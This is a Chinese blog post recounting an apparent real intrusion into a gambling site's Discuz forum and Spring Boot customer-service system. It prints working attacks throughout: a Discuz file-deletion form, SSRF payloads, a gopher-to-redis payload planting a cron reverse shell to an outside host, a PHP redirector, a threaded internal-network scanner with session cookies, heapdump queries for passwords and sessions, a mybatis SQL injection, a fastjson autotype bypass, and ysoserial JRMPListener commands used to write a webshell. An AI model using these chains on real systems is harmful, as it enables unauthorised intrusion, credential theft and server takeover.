A-A+

渗透大型菠菜网站鸭脖

2021年03月23日 实用工具 暂无评论 阅读 2,597 views 次

主站注册可以发现jsp和php后缀共存,应该是不同路由反代了不同的中间件,找不到啥漏洞。

图片

论坛是Discuz! X3.2

图片

发现Discuz急诊箱。

图片

admin.php 403,uc_server和急诊箱均无弱密码。

在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞,那么前台漏洞呢?主要有任意文件删除,SSRF,uc_server爆破。

首先是任意文件删除。

POST /home.php?mod=spacecp&ac=profile&op=base

birthprovince=../../../info.php

图片

然后再POST文件上去,即可删除info.php

<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">    <input type="file"name="birthprovince" id="file" />    <input type="text"name="formhash" value="017b5107"/>     <input type="text"name="profilesubmit" value="1"/>    <input type="submit"value="Submit" /></from>

这个漏洞虽然危害不低,但对后续渗透没什么用,Discuz很难通过删除文件去install。

 

再看SSRF。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107

这是一个不回显的SSRF,只能通过时间延迟来判断。

一,可直接通过http去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟。

二,可以通过302跳转改变协议,ftp,dict,gopher都支持。

三,可以通过ftp协议来探测端口,如果端口开放则长延迟,如果端口关闭则短延迟。

 

先通过http协议访问我的VPS获取论坛的真实ip。

163.*. *.35.bc.googleusercontent.com(35.*.*.163)

然后尝试盲打本地redis(这里探测本地端口全关,认为不合理,所以直接盲打)

gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。

先看清晰的SSRF攻击payload

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107

然后302.php?到data=之间的&要url编码,data=到xx=1.png的所有字符串都进行两次url编码,去bp中发包。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107

但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。

图片

因此payload只能放在VPS中写死。

<?php$ip=$_GET['ip'];$port=$_GET['port'];$scheme=$_GET['s'];$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';header("Location:$scheme://$ip:$port/$data");

测试一下打VPS上的redis能否成功

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107

图片

没问题。但实际环境中利用失败了,原因不确定,没有redis或者redis权限不够或者redis有密码都是有可能的。

开始写脚本探测内网,不过并未抱多大希望,其为谷歌云,并不一定有内网。

先生成所有内网ip的*.*.*.1的ip字典

f = open('ip.txt','w')f.write('127.0.0.1')f.write('localhost')for i in range(1,256):    ip = '192.168.'+str(i)+'.1'    f.write(ip)for i in range(16,32):    for ii inrange(1,256):        ip = '172.'+str(i)+'.'+str(ii)+'.1'        f.write(ip)for i in range(1,256):    for ii inrange(1,256):        ip = '10.'+str(i)+'.'+str(ii)+'.1'        f.write(ip)f.close()

然后通过时间延迟来寻内网ip段,这里由于ip不通的延迟长达7s以上,所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以,所以干脆直接使用gopher攻击redis的payload,万一直接打中了呢。

import requestsimport threading def ssrf(i):    url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'    header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",          "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",          "Accept-Encoding": "gzip,deflate",          "Connection": "keep-alive"          }    cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}    r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)    if r.elapsed.total_seconds()> 6:        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())        print(timeout)    else:        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())        fo = open('openip.txt','a')        fo.write(str(i)+'open\n')        fo.close()        print(str(i)+'open')        print(timeout) def thread(list):    name = []    for i in list:        th = threading.Thread(target=ssrf,args=(i,))        name.append(th)        th.start()    for th inname:        th.join() folist = open('ip.txt','r')list = []flag = 0for i infolist.readlines():    i = i.replace('\n','')    if flag <21:        list.append(i)        flag = flag+1    else:        thread(list)        flag = 0        list = []

只发现一个开放的网关172.30.2.1,再跑此网关上的内网ip,更换ip.txt即可。

图片

结果跑了一天只跑出两个内网ip,172.30.2.1和172.30.2.2,大概率172.30.2.2是它自己,172.30.2.1是云服务器的虚拟网关。

最后再用ftp协议跑它们的端口,脚本自己改改就行了。

图片

大部分都是误报,其实只开了80和443两个端口,所以除非之后发现其他内网ip,否则SSRF是不用指望了。

最后一个uc_server爆破,原理为改XFF头导致图形验证码固定,同样利用失败,详情见https://www.freebuf.com/articles/web/197546.html

论坛告一段落,接下来看看客服系统有啥问题。

图片

/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f

id传参,无法目录穿越。文件上传无法利用,开始目录扫描。

图片

admin登录界面有滑块验证,不过是前端骗人的,后端没用到,尝试爆破无果。

看到/actuator,就知道是spring boot了,使用针对性字典爆破。

/swagger-ui.html为空,/env跳转admin,/heapdump 403。

但鬼使神差的我试了试/heapdump.json

图片

解压出来1G内存文件,使用MemoryAnalyzer将其打开,OQL查询。

由于没有/env配合,只能盲查配置信息,这里写一些我摸索出来的小技巧。

select* from org.springframework.web.context.support.StandardServletEnvironment

查配置,注意以Retained Heap(大小)排序,比较方便。

图片

select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"

查含password的字符串,这种查法不易找出关联类,但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。

图片

select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))

快速查数据库相关信息,发现mysql地址账户密码,不过很遗憾是亚马逊的数据库,默认存在ip白名单,无法远程登录。

图片

select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"

发现正在登录的session,替换之后登录到后台。

图片

后台使用wss协议进行实时对话,头像处,客服回复处均无利用点。只发现了一些毒狗的哀嚎。

图片

黑盒测试无果,heapdump中翻找有特征的类名,然后去github搜,发现了一份可能是初始版源码,目标用的是改版,源码不太全。

图片

对不全的代码进行审计,找到一处任意文件读取和一处SSRF。

图片

图片

图片

有了部分源码,知道配置文件位置,读取配置文件

图片

获取数据库配置,当然之前在heapdump内存中已经知道了。获取内网ip,172.x.x.x,写脚本开始跑内网ip,脚本参考Discuz那个。

图片

同理,后续用ftp协议扫描内网端口。不过很可惜,java ssrf一般不支持dict和gopher,论坛和客服又不在同一内网,所以很难攻击内网比如redis。

前面一直没提的是,此客服系统存在管理员后台,不过存在ip白名单限制,访问403,虽然能利用SSRF绕过,但是由于只能发起GET请求,无法尝试登陆。

图片

这两处漏洞依旧无法getshell,我决定去fofa上搜同版本客服系统,然后利用任意文件下载来获取完整的源码。

很幸运,直接碰到一个网站可以读.bash_history,在操作记录中暴露了源码路径,获得war包。

图片

开始审计,SQL方面使用的是jpa1.11.6,基本不存在注入问题,但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml,找到两处使用$的地方。

ScacMapper.xml

图片

经典的mybatis order by注入。位于ScacRepository类的findRule方法,全局搜索调用了此方法的地方。

图片

发现不可控,再看第二处。

ChatMapper.xml

图片

位于AgentService类的findChatService方法,全局搜索。

图片

satislevel参数可控,网站中寻找路由,发现是用来查询历史会话的。

图片

/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=

图片

SQL注入成功,不过是个布尔盲注,注入较耗时间。

然后发现fastjson版本较低,于是瞄上了fastjson反序列化。

图片

全局搜索parseObject方法,路由中发现两处。IMController和ApiContactsController。

IMController虽然在前台,但涉及到AES解密和定位key,利用起来较为复杂。

图片

所以决定利用ApiContactsController的save方法。

图片

由于通过heapdump登录过客服后台,直接访问save的路由,却尴尬的发现报401

图片

很显然,客服后台和这个接口不在同一体系,但密码应该是通用的,猜测这些接口是给手机app用的,heapdump中曾获取了用户名,于是在ApiLoginController中找到登录接口,开始爆破。当然,也可以利用之前审计出来的SQL注入,不过实在太慢而且不一定解的出来我就先爆破了。

图片

图片

成功获取凭证,访问路由。

图片

这里是个联系人接口,查用GET,增用PUT,改用POST,删用DELETE,只有改才会调用fastjson。所以直接POST fastjson payload就行。

fastjson 1.24以上版本默认关闭autotype,但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。

https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg

{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}

图片

成功获取dnslog请求,接下来就是用fastjson反序列化getshell就行了吗?

事情并没有那么简单,之前通过heapdump在内存中看到java版本为1.8.0_242,那么rmi和ldap两个JNDI注入都无法使用,这和实际用marshalsec测试结果一致。本地加载有两种方法,org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过,但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在实际环境中却没能成功。

我在此处被拦了几个小时,最后发现存在rmi反序列化,链为URL链。注意:rmi注入恶意类和rmi反序列化是不一样的。

rmi注入恶意类(marshalsec),是连接rmi服务器,rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial),是连接rmi服务器,在和rmi服务器通信的过程中被反序列化攻击了。无版本限制,只需要反序列化链。

如下图,恶意服务器上起一个ysoserial的rmi服务,然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"

图片

成功获取dns请求,那么我只需要找到一条能够利用的反序列链,就能够getshell。
spring项目一般来说,很难有一条序列化链,因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链,而源码中的jar包满足条件。

图片

详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w

先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。

图片

尝试写webshell,成功getshell

图片

由于其存在负载均衡,可以拿到两台服务器权限,至此渗透完毕。

 

原文链接:https://mp.weixin.qq.com/s/sJAyhQQvGqG-SliSGbhJNA

标签:

给我留言